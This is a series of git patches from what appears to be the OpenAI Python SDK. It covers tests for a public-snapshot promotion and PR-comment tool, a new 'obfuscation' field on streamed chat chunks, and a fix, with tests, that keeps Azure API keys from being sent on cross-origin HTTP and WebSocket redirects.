+ (self.repo / "private-only.txt").unlink()
+ generated, base = self.baseline()
+ self.git("branch", "codegen/test", generated)
+ private_remote = self.repo / "private.git"
+ self.git("clone", "--bare", str(self.repo), str(private_remote))
+ self.git("remote", "add", "origin", str(private_remote))
+
+ public = self.repo / "public"
+ public.mkdir()
+ report.git(public, "init", "-q", "-b", "main")
+ report.git(public, "config", "user.name", "Public test")
+ report.git(public, "config", "user.email", "public@example.test")
+ (public / "generated.py").write_text("generated\n")
+ (public / ".castiron.stats.yml").write_text(
+ (self.repo / ".castiron.stats.yml").read_text().split("codegen_hash:")[0]
+ )
+ report.git(public, "add", ".")
+ report.git(public, "commit", "-qm", "already public")
+ public_base = report.git(public, "rev-parse", "HEAD").decode().strip()
+ public_remote = self.repo / "public.git"
+ report.git(public, "clone", "--bare", str(public), str(public_remote))
+ report.git(public, "remote", "add", "origin", str(public_remote))
+ snapshot = report.prepare_public_snapshot(
+ self.repo, base, base, public, public_base, "castiron/promotions/pr-1"
+ )
+ self.assertNotEqual(snapshot["commit"], generated)
+ self.assertEqual(report.git(public, "rev-list", "--count", snapshot["commit"]), b"1\n")
+ self.assertEqual(report.hash_codegen_commit(public, snapshot["commit"]), snapshot["hash"])
+ with self.assertRaises(report.ReportError):
+ report.git(public, "cat-file", "-e", private_ancestor)
+ self.assertNotIn(
+ b"private-only.txt", report.git(public, "ls-tree", "-r", snapshot["commit"])
+ )
+ report.git(
+ public, "push", "origin", f"{snapshot['commit']}:refs/heads/{snapshot['branch']}"
+ )
+ (public / "generated.py").write_text("generated\n# custom\n")
+ report.git(public, "add", ".")
+ report.git(public, "commit", "-qm", "public customization")
+ public_head = report.git(public, "rev-parse", "HEAD").decode().strip()
+ result, patch = report.build_report(
+ public, public_base, public_head, fetch=True, require_head_hash=True, public=True
+ )
+ self.assertEqual(result["counts"]["newly_customized"], 1)
+ self.assertIn(b"+# custom", patch)
+ self.assertIn(" --public", report.render_report(result))
+ self.assertFalse(result["before"]["hash_recorded"])
+ again = report.prepare_public_snapshot(
+ self.repo, base, base, public, public_base, "castiron/promotions/pr-1"
+ )
+ self.assertEqual(again["commit"], snapshot["commit"])
+ tree = report.git(public, "rev-parse", f"{snapshot['commit']}^{{tree}}").decode().strip()
+ message = report.git(public, "show", "-s", "--format=%B", snapshot["commit"])
+ chained = (
+ report.git(
+ public,
+ "commit-tree",
+ tree,
+ "-p",
+ snapshot["commit"],
+ "-F",
+ "-",
+ input_bytes=message,
+ )
+ .decode()
+ .strip()
+ )
+ report.git(
+ public, "push", "--force", "origin", f"{chained}:refs/heads/{snapshot['branch']}"
+ )
+ reused = report.prepare_public_snapshot(
+ self.repo, base, base, public, public_base, "castiron/promotions/pr-1"
+ )
+ self.assertEqual(reused["commit"], chained)
+
+ # A fresh generation may introduce files. Its public parent must be a
+ # previously public snapshot, never the private checkpoint parent.
+ next_generation = "650e8400-e29b-41d4-a716-446655440000"
+ self.git("checkout", "--detach", generated)
+ self.write("generated.py", "regenerated\n")
+ self.write("new.py", "new generated file\n")
+ self.git("add", "--", "generated.py", "new.py")
+ metadata = base64.b64encode(
+ json.dumps(
+ {
+ "generation_id": next_generation,
+ "source_branch": "test",
+ }
+ ).encode()
+ ).decode()
+ self.git("commit", "-qm", f"next codegen\n\nGeneration metadata: {metadata}")
+ next_codegen = self.git("rev-parse", "HEAD")
+ self.git("push", "origin", f"{next_codegen}:refs/heads/codegen/test")
+ self.write(
+ ".castiron.stats.yml",
+ (
+ f"schema_version: 1\ngeneration_id: {next_generation}\n"
+ f"codegen_sha: {next_codegen}\n"
+ f"codegen_hash: {report.hash_codegen_commit(self.repo, next_codegen)}\n"
+ ),
+ )
+ self.git("add", "--", ".castiron.stats.yml")
+ self.git("commit", "-qm", "next integrated SDK")
+ next_head = self.git("rev-parse", "HEAD")
+ # An unreviewed path in private HEAD is not enough to publish it.
+ with self.assertRaisesRegex(report.ReportError, "approved public SDK tree"):
+ report.prepare_public_snapshot(
+ self.repo, base, next_head, public, public_base, "castiron/promotions/pr-1"
+ )
+ # Model normal promotion applying its reviewed patch to the public index.
+ (public / "generated.py").write_text("regenerated\n")
+ (public / "new.py").write_text("new generated file\n")
+ report.git(public, "add", "--", "generated.py", "new.py")
+ advanced = report.prepare_public_snapshot(
+ self.repo, base, next_head, public, public_base, "castiron/promotions/pr-1"
+ )
+ self.assertEqual(
+ report.git(public, "rev-parse", advanced["commit"] + "^1").decode().strip(), chained
+ )
+ self.assertEqual(report.hash_codegen_commit(public, advanced["commit"]), advanced["hash"])
+ with self.assertRaises(report.ReportError):
+ report.git(public, "cat-file", "-e", next_codegen)
+ report.git(
+ public, "push", "origin", f"{advanced['commit']}:refs/heads/{advanced['branch']}"
+ )
+ (public / "generated.py").write_text("regenerated\n")
+ (public / "new.py").write_text("new generated file\n")
+ report.git(public, "add", "--", ".castiron.stats.yml", "generated.py", "new.py")
+ report.git(public, "commit", "-qm", "next public SDK")
+ next_public = report.git(public, "rev-parse", "HEAD").decode().strip()
+ compared, _ = report.build_report(
+ public, public_base, next_public, fetch=True, require_head_hash=True, public=True
+ )
+ self.assertEqual(compared["before"]["generation_id"], GENERATION)
+ self.assertEqual(compared["after"]["generation_id"], next_generation)
+
+ # Once A lands, handwritten-only promotion B may reuse A's exact
+ # snapshot. Its original branch is a locator, not exclusive ownership.
+ report.git(public, "push", "origin", f"{next_public}:refs/heads/main")
+ self.write("generated.py", "regenerated\n# handwritten change\n")
+ self.git("add", "--", "generated.py")
+ self.git("commit", "-qm", "handwritten change")
+ custom_head = self.git("rev-parse", "HEAD")
+ (public / "generated.py").write_text("regenerated\n# handwritten change\n")
+ report.git(public, "add", "--", "generated.py")
+ other_branch = "castiron/promotions/pr-2"
+ other = report.prepare_public_snapshot(
+ self.repo, next_head, custom_head, public, next_public, other_branch
+ )
+ self.assertEqual(other["commit"], advanced["commit"])
+ self.assertEqual(
+ report.public_metadata(public, other["commit"])["Branch"], advanced["branch"]
+ )
+ report.git(public, "push", "origin", f"{other['commit']}:refs/heads/{other['branch']}")
+ retried = report.prepare_public_snapshot(
+ self.repo, next_head, custom_head, public, next_public, other_branch
+ )
+ self.assertEqual(retried["commit"], other["commit"])
+
+ # A merge-queue commit also resolves the baseline from its own stats,
+ # independently of the name or parents of the integrated SDK commit.
+ merged_tree = report.git(public, "write-tree").decode().strip()
+ pr_head = (
+ report.git(
+ public,
+ "commit-tree",
+ merged_tree,
+ "-p",
+ next_public,
+ "-m",
+ "public handwritten change",
+ )
+ .decode()
+ .strip()
+ )
+ merged = (
+ report.git(
+ public,
+ "commit-tree",
+ merged_tree,
+ "-p",
+ next_public,
+ "-p",
+ pr_head,
+ "-m",
+ "merge queue",
+ )
+ .decode()
+ .strip()
+ )
+ merged_report, _ = report.build_report(
+ public, next_public, merged, fetch=True, require_head_hash=True, public=True
+ )
+ self.assertEqual(merged_report["after"]["commit"], advanced["commit"])
+ self.assertEqual(merged_report["counts"]["newly_customized"], 1)
+
+ def test_comment_updates_existing_bot_comment_and_skips_stale(self) -> None:
+ _, base = self.baseline()
+ result, _ = report.build_report(self.repo, base, base)
+ calls: list[tuple[str, str, object]] = []
+
+ def fake_api(method: str, path: str, payload: object = None) -> object:
+ calls.append((method, path, payload))
+ if "/pulls/" in path:
+ return {"state": "open", "head": {"sha": base}, "base": {"sha": base}}
+ if "/actions/runs/" in path:
+ return {
+ "event": "pull_request",
+ "path": ".github/workflows/castiron-custom-code.yml",
+ "head_sha": base,
+ "run_attempt": 1,
+ "pull_requests": [{"number": 1}],
+ }
+ if "/comments?" in path:
+ return [
+ {"id": 7, "user": {"login": "someone"}, "body": report.MARKER},
+ {
+ "id": 8,
+ "user": {"login": "github-actions[bot]"},
+ "body": report.MARKER,
+ "html_url": "existing",
+ },
+ ]
+ return {"html_url": "updated"}
+
+ with mock.patch.object(report, "api", side_effect=fake_api):
+ self.assertEqual(report.publish_comment(result, "openai/example", 1, 2, 1), "updated")
+ self.assertEqual(calls[-1][:2], ("PATCH", "repos/openai/example/issues/comments/8"))
+ calls.clear()
+ result["head_sha"] = "f" * 40
+ self.assertEqual(
+ report.publish_comment(result, "openai/example", 1, 2, 1), "Skipped stale report"
+ )
+ self.assertEqual(len(calls), 1)
+
+ def test_comment_rejects_older_runs_attempts_and_wrong_pr(self) -> None:
+ _, base = self.baseline()
+ result, _ = report.build_report(self.repo, base, base)
+ pull = {"state": "open", "head": {"sha": base}, "base": {"sha": base}}
+ run = {
+ "event": "pull_request",
+ "path": ".github/workflows/castiron-custom-code.yml",
+ "head_sha": base,
+ "run_attempt": 2,
+ "pull_requests": [{"number": 1}],
+ }
+ comment = {
+ "id": 8,
+ "user": {"login": "github-actions[bot]"},
+ "body": report.MARKER + "\n",
+ "html_url": "existing",
+ }
+ with mock.patch.object(report, "api", side_effect=[pull, run]) as api:
+ self.assertEqual(
+ report.publish_comment(result, "openai/example", 1, 2, 1), "Skipped stale report"
+ )
+ self.assertEqual(api.call_count, 2)
+ with mock.patch.object(report, "api", side_effect=[pull, run, [comment]]) as api:
+ self.assertEqual(
+ report.publish_comment(result, "openai/example", 1, 2, 2), "Skipped stale report"
+ )
+ self.assertEqual(api.call_count, 3)
+ with (
+ mock.patch.object(report, "api", side_effect=[pull, {**run, "pull_requests": []}, []]),
+ self.assertRaisesRegex(report.ReportError, "does not match report PR"),
+ ):
+ report.publish_comment(result, "openai/example", 1, 2, 2)
+ with (
+ mock.patch.object(report, "api", side_effect=[pull, {**run, "path": "other.yml"}]),
+ self.assertRaisesRegex(report.ReportError, "does not match report PR"),
+ ):
+ report.publish_comment(result, "openai/example", 1, 2, 2)
+ with mock.patch.object(
+ report,
+ "api",
+ side_effect=[pull, {**run, "pull_requests": []}, [{"number": 1}], [comment]],
+ ) as api:
+ self.assertEqual(
+ report.publish_comment(result, "openai/example", 1, 2, 2), "Skipped stale report"
+ )
+ self.assertIn(f"/commits/{base}/pulls", api.call_args_list[2].args[1])
+ changed = {**pull, "head": {"sha": "f" * 40}}
+ with mock.patch.object(report, "api", side_effect=[pull, run, [], changed]) as api:
+ self.assertEqual(
+ report.publish_comment(result, "openai/example", 1, 2, 2), "Skipped stale report"
+ )
+ self.assertEqual(api.call_count, 4)
+
+
+if __name__ == "__main__":
+ unittest.main()
diff --git a/src/openai/lib/streaming/chat/_completions.py b/src/openai/lib/streaming/chat/_completions.py
index 5f072cafbd..f9dec645b6 100644
--- a/src/openai/lib/streaming/chat/_completions.py
+++ b/src/openai/lib/streaming/chat/_completions.py
@@ -739,6 +739,7 @@ def _add_tool_done_event(
def _convert_initial_chunk_into_snapshot(chunk: ChatCompletionChunk) -> ParsedChatCompletionSnapshot:
data = chunk.to_dict()
+ data.pop("obfuscation", None)
choices = cast("list[object]", data["choices"])
for choice in chunk.choices:
diff --git a/src/openai/types/chat/chat_completion_chunk.py b/src/openai/types/chat/chat_completion_chunk.py
index 7373b5e6c2..a88c0c1919 100644
--- a/src/openai/types/chat/chat_completion_chunk.py
+++ b/src/openai/types/chat/chat_completion_chunk.py
@@ -291,6 +291,13 @@ class ChatCompletionChunk(BaseModel):
Present on the moderation chunk when moderated completions are requested.
"""
+ obfuscation: Optional[str] = None
+ """
+ An obfuscation string added to normalize the size of streamed chunks as a
+ mitigation to certain side-channel attacks. The field is included by default and
+ omitted when `stream_options.include_obfuscation` is `false`.
+ """
+
service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] = None
"""Specifies the processing type used for serving the request.
diff --git a/tests/lib/chat/test_completions_streaming.py b/tests/lib/chat/test_completions_streaming.py
index 14dc2a99ae..25d2942639 100644
--- a/tests/lib/chat/test_completions_streaming.py
+++ b/tests/lib/chat/test_completions_streaming.py
@@ -19,7 +19,7 @@
from openai import OpenAI, AsyncOpenAI
from tests.respx2 import MockRouter
from openai._utils import consume_sync_iterator, assert_signatures_in_sync
-from openai._compat import model_copy
+from openai._compat import model_copy, model_parse
from openai.types.chat import ChatCompletionChunk
from openai.lib.streaming.chat import (
ContentDoneEvent,
@@ -1023,6 +1023,43 @@ def test_allows_non_strict_tools_but_no_parsing(
)
+@pytest.mark.parametrize("padding", [("first-padding", "last-padding"), (None, "last-padding"), ("", "")])
+def test_stream_obfuscation_stays_on_raw_chunks(padding: tuple[str | None, str | None]) -> None:
+ state = ChatCompletionStreamState()
+ for index, value in enumerate(padding):
+ chunk = model_parse(
+ ChatCompletionChunk,
+ {
+ "id": "chatcmpl-test",
+ "object": "chat.completion.chunk",
+ "created": 0,
+ "model": "gpt-test",
+ **({"obfuscation": value} if value is not None else {}),
+ "choices": [
+ {
+ "index": 0,
+ "delta": {"role": "assistant", "content": "Hello"} if index == 0 else {"content": " world"},
+ "finish_reason": "stop" if index == 1 else None,
+ "logprobs": None,
+ }
+ ],
+ },
+ )
+ raw = chunk.to_dict()
+ events = list(state.handle_chunk(chunk))
+ event = next(event for event in events if event.type == "chunk")
+ assert event.chunk.to_dict() == raw
+ assert event.chunk.obfuscation == value
+ assert "obfuscation" not in event.snapshot.to_dict()
+ assert "obfuscation" not in state.current_completion_snapshot.to_dict()
+ assert chunk.to_dict() == raw
+
+ completion = state.get_final_completion()
+ assert completion.choices[0].message.content == "Hello world"
+ assert "obfuscation" not in completion.to_dict()
+ assert "obfuscation" not in completion.to_json()
+
+
@pytest.mark.respx2(base_url=base_url)
def test_chat_completion_state_helper(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pytest.MonkeyPatch) -> None:
state = ChatCompletionStreamState()
From 06ef57caafe73d625ad4458ab5d29241e30c44bc Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 20 Aug 2026 14:31:32 +0000
Subject: [PATCH 048/341] fix: Preserve Azure authentication boundaries across
transports (#3684)
## Summary
Keep Azure authentication scoped to the original request origin across
HTTP and Realtime connections. Supported HTTP clients remove the Azure
API key when following an off-origin redirect, and async Realtime
connections reject off-origin handshake redirects. Same-origin
authentication and normal connection behavior remain intact.
The change is limited to Azure transport handling and focused
synchronous/asynchronous coverage for stable and beta Realtime. No
public API or dependency changes.
---
src/openai/lib/_azure_websocket.py | 23 ++
src/openai/lib/azure.py | 34 ++-
.../resources/beta/realtime/realtime.py | 2 +
src/openai/resources/realtime/realtime.py | 2 +
tests/lib/test_azure_auth.py | 11 +-
tests/lib/test_azure_redirects.py | 236 ++++++++++++++++++
tests/lib/test_azure_websocket_redirects.py | 158 ++++++++++++
7 files changed, 463 insertions(+), 3 deletions(-)
create mode 100644 src/openai/lib/_azure_websocket.py
create mode 100644 tests/lib/test_azure_redirects.py
create mode 100644 tests/lib/test_azure_websocket_redirects.py
diff --git a/src/openai/lib/_azure_websocket.py b/src/openai/lib/_azure_websocket.py
new file mode 100644
index 0000000000..36620cd21f
--- /dev/null
+++ b/src/openai/lib/_azure_websocket.py
@@ -0,0 +1,23 @@
+from __future__ import annotations
+
+from typing_extensions import override
+
+from websockets.uri import parse_uri
+from websockets.exceptions import SecurityError
+from websockets.asyncio.client import connect
+
+__all__ = ["_AzureWebSocketConnect"]
+
+
+class _AzureWebSocketConnect(connect):
+ """Keep Azure's WebSocket authentication on the original origin."""
+
+ @override
+ def process_redirect(self, exc: Exception) -> Exception | str:
+ uri_or_exc = super().process_redirect(exc)
+ if isinstance(uri_or_exc, str):
+ current = parse_uri(self.uri)
+ target = parse_uri(uri_or_exc)
+ if (current.secure, current.host, current.port) != (target.secure, target.host, target.port):
+ return SecurityError("Cross-origin Azure WebSocket redirects are not allowed")
+ return uri_or_exc
diff --git a/src/openai/lib/azure.py b/src/openai/lib/azure.py
index 531496a0a9..aeae62168a 100644
--- a/src/openai/lib/azure.py
+++ b/src/openai/lib/azure.py
@@ -56,6 +56,26 @@ def _has_auth_header(headers: Headers) -> bool:
return _has_header(headers, "Authorization") or _has_header(headers, "api-key")
+_AZURE_AUTH_ORIGIN = "openai.azure_auth_origin"
+
+
+def _origin(url: httpx2.URL) -> tuple[str, str, int | None]:
+ port = url.port
+ if port is None:
+ port = {"http": 80, "https": 443}.get(url.scheme)
+ return url.scheme, url.host, port
+
+
+def _strip_azure_api_key_on_redirect(request: httpx2.Request) -> None:
+ origin = request.extensions.get(_AZURE_AUTH_ORIGIN)
+ if origin is not None and origin != _origin(request.url):
+ request.headers.pop("api-key", None)
+
+
+async def _async_strip_azure_api_key_on_redirect(request: httpx2.Request) -> None:
+ _strip_azure_api_key_on_redirect(request)
+
+
class MutuallyExclusiveAuthError(OpenAIError):
def __init__(self) -> None:
super().__init__(
@@ -129,7 +149,11 @@ def _build_request(
if model is not None and "/deployments" not in str(self.base_url.path):
options.url = path_template("/deployments/{model}", model=model) + options.url
- return super()._build_request(options, retries_taken=retries_taken)
+ request = super()._build_request(options, retries_taken=retries_taken)
+ # HTTPX preserves request extensions through redirects. Scope the hook
+ # to this Azure request, including when its HTTP client is shared.
+ request.extensions[_AZURE_AUTH_ORIGIN] = _origin(request.url)
+ return request
@override
def _prepare_url(self, url: str) -> httpx2.URL:
@@ -335,6 +359,10 @@ def __init__(
self._azure_deployment = azure_deployment if azure_endpoint else None
self._azure_endpoint = httpx2.URL(azure_endpoint) if azure_endpoint else None
+ hooks = self._client.event_hooks["request"]
+ if _strip_azure_api_key_on_redirect not in hooks:
+ hooks.append(_strip_azure_api_key_on_redirect)
+
@override
def copy(
self,
@@ -682,6 +710,10 @@ def __init__(
self._azure_deployment = azure_deployment if azure_endpoint else None
self._azure_endpoint = httpx2.URL(azure_endpoint) if azure_endpoint else None
+ hooks = self._client.event_hooks["request"]
+ if _async_strip_azure_api_key_on_redirect not in hooks:
+ hooks.append(_async_strip_azure_api_key_on_redirect)
+
@override
def copy(
self,
diff --git a/src/openai/resources/beta/realtime/realtime.py b/src/openai/resources/beta/realtime/realtime.py
index bf99da8abc..5365001707 100644
--- a/src/openai/resources/beta/realtime/realtime.py
+++ b/src/openai/resources/beta/realtime/realtime.py
@@ -360,6 +360,8 @@ async def __aenter__(self) -> AsyncRealtimeConnection:
await self.__client._refresh_api_key()
auth_headers = self.__client.auth_headers
if is_async_azure_client(self.__client):
+ from ....lib._azure_websocket import _AzureWebSocketConnect as connect
+
url, auth_headers = await self.__client._configure_realtime(self.__model, extra_query)
else:
url = self._prepare_url().copy_with(
diff --git a/src/openai/resources/realtime/realtime.py b/src/openai/resources/realtime/realtime.py
index 929aab6096..62ba3e4e54 100644
--- a/src/openai/resources/realtime/realtime.py
+++ b/src/openai/resources/realtime/realtime.py
@@ -691,6 +691,8 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
if self.__call_id is not omit:
extra_query = {**extra_query, "call_id": self.__call_id}
if is_async_azure_client(self.__client):
+ from ...lib._azure_websocket import _AzureWebSocketConnect as connect
+
model = self.__model
if not model:
raise OpenAIError("`model` is required for Azure Realtime API")
diff --git a/tests/lib/test_azure_auth.py b/tests/lib/test_azure_auth.py
index c649555ae1..cbeefafe23 100644
--- a/tests/lib/test_azure_auth.py
+++ b/tests/lib/test_azure_auth.py
@@ -1,7 +1,7 @@
from __future__ import annotations
import inspect
-from typing import Any
+from typing import Any, NoReturn
import httpx2
import pytest
@@ -204,6 +204,11 @@ async def test_internal_sentinel_is_not_a_conflicting_credential(asynchronous: b
@pytest.mark.parametrize("asynchronous", [False, True])
async def test_callable_api_key_refresh_and_copy(asynchronous: bool, monkeypatch: pytest.MonkeyPatch) -> None:
+ def unexpected_connection(*_args: Any, **_kwargs: Any) -> NoReturn:
+ pytest.fail("The callable API-key test must not open a network connection")
+
+ monkeypatch.setattr("socket.socket.connect", unexpected_connection)
+ monkeypatch.setattr("socket.socket.connect_ex", unexpected_connection)
requests: list[httpx2.Request] = []
calls = 0
@@ -249,7 +254,9 @@ async def async_connect(*args: Any, **kwargs: Any) -> Any:
return connect(*args, **kwargs)
monkeypatch.setattr("websockets.sync.client.connect", connect)
- monkeypatch.setattr("websockets.asyncio.client.connect", async_connect)
+ # Azure uses its own async connector. Patching its base class misses
+ # already-imported subclasses and makes the test depend on import order.
+ monkeypatch.setattr("openai.lib._azure_websocket._AzureWebSocketConnect", async_connect)
for resource in (copied.realtime, copied.beta.realtime):
await resolve(resource.connect(model="test-model").enter())
assert websocket_headers == [expected_auth("api_key", f"fake-key-{i}") for i in (4, 5)]
diff --git a/tests/lib/test_azure_redirects.py b/tests/lib/test_azure_redirects.py
new file mode 100644
index 0000000000..ecacc380c2
--- /dev/null
+++ b/tests/lib/test_azure_redirects.py
@@ -0,0 +1,236 @@
+from __future__ import annotations
+
+from typing import Any, Callable
+from importlib import import_module
+from unittest.mock import AsyncMock, MagicMock
+
+import httpx2
+import pytest
+
+from openai import AzureOpenAI, AsyncAzureOpenAI, DefaultHttpxClient, DefaultAioHttpClient, DefaultAsyncHttpxClient
+from openai._models import FinalRequestOptions
+from openai.lib.azure import API_KEY_SENTINEL
+
+ORIGIN = "https://origin.test"
+FAKE_KEY = "fake-azure-redirect-key"
+SYNC_BACKENDS = ["httpx", "httpx2", "default"]
+ASYNC_BACKENDS = [*SYNC_BACKENDS, "aiohttp"]
+TARGETS = [
+ ("/final", True),
+ ("https://ORIGIN.test:443/final", True),
+ ("https://other.test/final", False),
+ ("//other.test/final", False),
+ ("https://origin.test:444/final", False),
+ ("http://origin.test/final", False),
+ ("https://origin.test@other.test/final", False),
+]
+
+
+def http_module(backend: str) -> Any:
+ return pytest.importorskip("httpx") if backend == "httpx" else httpx2
+
+
+def azure_options() -> dict[str, Any]:
+ return dict(api_key=FAKE_KEY, azure_endpoint=ORIGIN, api_version="2024-01-01", max_retries=0)
+
+
+def mock_aiohttp(monkeypatch: pytest.MonkeyPatch, handler: Callable[[Any], Any]) -> None:
+ # Exercise the real vendored adapter, but never open a network connection.
+ aiohttp = import_module("aiohttp")
+
+ def request(_session: Any, method: str, url: str, **kwargs: Any) -> Any:
+ assert kwargs["allow_redirects"] is False
+ result = handler(httpx2.Request(method, url, headers=kwargs["headers"], content=kwargs["data"]))
+
+ async def chunks(_size: int) -> Any:
+ yield result.content
+
+ response = MagicMock(spec=aiohttp.ClientResponse)
+ response.status = result.status_code
+ response.reason = result.reason_phrase
+ response.raw_headers = result.headers.raw
+ response.content.iter_chunked.side_effect = chunks
+ response.__aexit__ = AsyncMock()
+ context = MagicMock()
+ context.__aenter__ = AsyncMock(return_value=response)
+ return context
+
+ monkeypatch.setattr(aiohttp.ClientSession, "request", request)
+
+
+def make_http_client(
+ backend: str,
+ handler: Callable[[Any], Any],
+ *,
+ asynchronous: bool = False,
+ monkeypatch: pytest.MonkeyPatch | None = None,
+ **kwargs: Any,
+) -> Any:
+ module = http_module(backend)
+ if backend == "aiohttp":
+ assert monkeypatch is not None
+ mock_aiohttp(monkeypatch, handler)
+ return DefaultAioHttpClient(trust_env=False, **kwargs)
+ if backend == "default":
+ cls = DefaultAsyncHttpxClient if asynchronous else DefaultHttpxClient
+ else:
+ cls = module.AsyncClient if asynchronous else module.Client
+ kwargs.setdefault("follow_redirects", True)
+ return cls(transport=module.MockTransport(handler), trust_env=False, **kwargs)
+
+
+def redirect_handler(backend: str, targets: list[str], seen: list[Any], status: int = 307) -> Callable[[Any], Any]:
+ module = http_module(backend)
+
+ def handler(request: Any) -> Any:
+ seen.append(request)
+ if len(seen) <= len(targets):
+ return module.Response(status, headers={"location": targets[len(seen) - 1]}, content=b"redirect")
+ return module.Response(200, json={"object": "list", "data": []})
+
+ return handler
+
+
+@pytest.mark.parametrize("backend", SYNC_BACKENDS)
+@pytest.mark.parametrize("status", [301, 302, 303, 307, 308])
+@pytest.mark.parametrize("target,retained", TARGETS)
+def test_sync_redirect_origin(backend: str, status: int, target: str, retained: bool) -> None:
+ seen: list[Any] = []
+ transport = make_http_client(backend, redirect_handler(backend, [target], seen, status))
+ with AzureOpenAI(**azure_options(), http_client=transport) as client:
+ result = client.models.with_raw_response.list(extra_headers={"Authorization": "Bearer fake-token"})
+ assert len(result.http_response.history) == 1
+ assert len(seen) == 2
+ assert seen[0].headers["api-key"] == FAKE_KEY
+ assert seen[1].headers.get("api-key") == (FAKE_KEY if retained else None)
+ assert ("authorization" in seen[1].headers) == retained
+
+
+@pytest.mark.parametrize("backend", ASYNC_BACKENDS)
+@pytest.mark.parametrize("status", [301, 302, 303, 307, 308])
+@pytest.mark.parametrize("target,retained", TARGETS)
+async def test_async_redirect_origin(
+ backend: str, status: int, target: str, retained: bool, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ seen: list[Any] = []
+ transport = make_http_client(
+ backend, redirect_handler(backend, [target], seen, status), asynchronous=True, monkeypatch=monkeypatch
+ )
+ async with AsyncAzureOpenAI(**azure_options(), http_client=transport) as client:
+ result = await client.models.with_raw_response.list(extra_headers={"Authorization": "Bearer fake-token"})
+ assert len(result.http_response.history) == 1
+ assert len(seen) == 2
+ assert seen[0].headers["api-key"] == FAKE_KEY
+ assert seen[1].headers.get("api-key") == (FAKE_KEY if retained else None)
+ assert ("authorization" in seen[1].headers) == retained
+
+
+@pytest.mark.parametrize("backend", SYNC_BACKENDS)
+@pytest.mark.parametrize("follow", [False, True])
+def test_sync_redirect_options_and_chain(backend: str, follow: bool) -> None:
+ seen: list[Any] = []
+ targets = ["/same", "https://other.test/final", ORIGIN + "/return"]
+ transport = make_http_client(backend, redirect_handler(backend, targets, seen), follow_redirects=not follow)
+ with AzureOpenAI(**azure_options(), http_client=transport) as client:
+ response = client._send_request(
+ client._build_request(FinalRequestOptions(method="get", url="/start")),
+ stream=True,
+ follow_redirects=follow,
+ )
+ assert response.status_code == (200 if follow else 307)
+ assert len(response.history) == (3 if follow else 0)
+ response.close()
+ assert [r.headers.get("api-key") for r in seen] == ([FAKE_KEY, FAKE_KEY, None, None] if follow else [FAKE_KEY])
+
+
+@pytest.mark.parametrize("backend", ASYNC_BACKENDS)
+@pytest.mark.parametrize("follow", [False, True])
+async def test_async_redirect_options_and_chain(backend: str, follow: bool, monkeypatch: pytest.MonkeyPatch) -> None:
+ seen: list[Any] = []
+ targets = ["/same", "https://other.test/final", ORIGIN + "/return"]
+ transport = make_http_client(
+ backend,
+ redirect_handler(backend, targets, seen),
+ asynchronous=True,
+ monkeypatch=monkeypatch,
+ follow_redirects=not follow,
+ )
+ async with AsyncAzureOpenAI(**azure_options(), http_client=transport) as client:
+ response = await client._send_request(
+ client._build_request(FinalRequestOptions(method="get", url="/start")),
+ stream=True,
+ follow_redirects=follow,
+ )
+ assert response.status_code == (200 if follow else 307)
+ assert len(response.history) == (3 if follow else 0)
+ await response.aclose()
+ assert [r.headers.get("api-key") for r in seen] == ([FAKE_KEY, FAKE_KEY, None, None] if follow else [FAKE_KEY])
+
+
+@pytest.mark.parametrize("backend", SYNC_BACKENDS)
+def test_sync_shared_client_and_explicit_credentials(backend: str) -> None:
+ seen: list[Any] = []
+ transport = make_http_client(backend, redirect_handler(backend, ["https://other.test/final"], seen))
+ with AzureOpenAI(**azure_options(), http_client=transport) as client:
+ copy = client.copy()
+ assert len(transport.event_hooks["request"]) == 1
+ copy.models.list(extra_headers={"API-KEY": "fake-explicit-key"})
+ assert "fake-explicit-key" in seen[0].headers.get_list("api-key")
+ assert "api-key" not in seen[1].headers
+ transport.get("https://other.test/direct", headers={"api-key": "fake-unrelated-key"})
+ assert seen[-1].headers["api-key"] == "fake-unrelated-key"
+
+
+@pytest.mark.parametrize("backend", ASYNC_BACKENDS)
+async def test_async_shared_client_and_explicit_credentials(backend: str, monkeypatch: pytest.MonkeyPatch) -> None:
+ seen: list[Any] = []
+ transport = make_http_client(
+ backend,
+ redirect_handler(backend, ["https://other.test/final"], seen),
+ asynchronous=True,
+ monkeypatch=monkeypatch,
+ )
+ async with AsyncAzureOpenAI(**azure_options(), http_client=transport) as client:
+ copy = client.copy()
+ assert len(transport.event_hooks["request"]) == 1
+ await copy.models.list(extra_headers={"API-KEY": "fake-explicit-key"})
+ assert "fake-explicit-key" in seen[0].headers.get_list("api-key")
+ assert "api-key" not in seen[1].headers
+ await transport.get("https://other.test/direct", headers={"api-key": "fake-unrelated-key"})
+ assert seen[-1].headers["api-key"] == "fake-unrelated-key"
+
+
+@pytest.mark.parametrize("backend", SYNC_BACKENDS)
+@pytest.mark.parametrize("target,retained", TARGETS[:3])
+def test_sync_bearer_authentication(backend: str, target: str, retained: bool) -> None:
+ seen: list[Any] = []
+ transport = make_http_client(backend, redirect_handler(backend, [target], seen))
+ options = azure_options()
+ options["api_key"] = API_KEY_SENTINEL
+ with AzureOpenAI(**options, azure_ad_token_provider=lambda: "fake-ad-token", http_client=transport) as client:
+ client.models.list()
+ assert seen[0].headers["authorization"] == "Bearer fake-ad-token"
+ assert seen[1].headers.get("authorization") == ("Bearer fake-ad-token" if retained else None)
+ assert all("api-key" not in request.headers for request in seen)
+
+
+@pytest.mark.parametrize("backend", ASYNC_BACKENDS)
+@pytest.mark.parametrize("target,retained", TARGETS[:3])
+async def test_async_bearer_authentication(
+ backend: str, target: str, retained: bool, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ seen: list[Any] = []
+ transport = make_http_client(
+ backend, redirect_handler(backend, [target], seen), asynchronous=True, monkeypatch=monkeypatch
+ )
+ options = azure_options()
+ options["api_key"] = API_KEY_SENTINEL
+
+ async def token() -> str:
+ return "fake-ad-token"
+
+ async with AsyncAzureOpenAI(**options, azure_ad_token_provider=token, http_client=transport) as client:
+ await client.models.list()
+ assert seen[0].headers["authorization"] == "Bearer fake-ad-token"
+ assert seen[1].headers.get("authorization") == ("Bearer fake-ad-token" if retained else None)
+ assert all("api-key" not in request.headers for request in seen)
diff --git a/tests/lib/test_azure_websocket_redirects.py b/tests/lib/test_azure_websocket_redirects.py
new file mode 100644
index 0000000000..16a54cdcb5
--- /dev/null
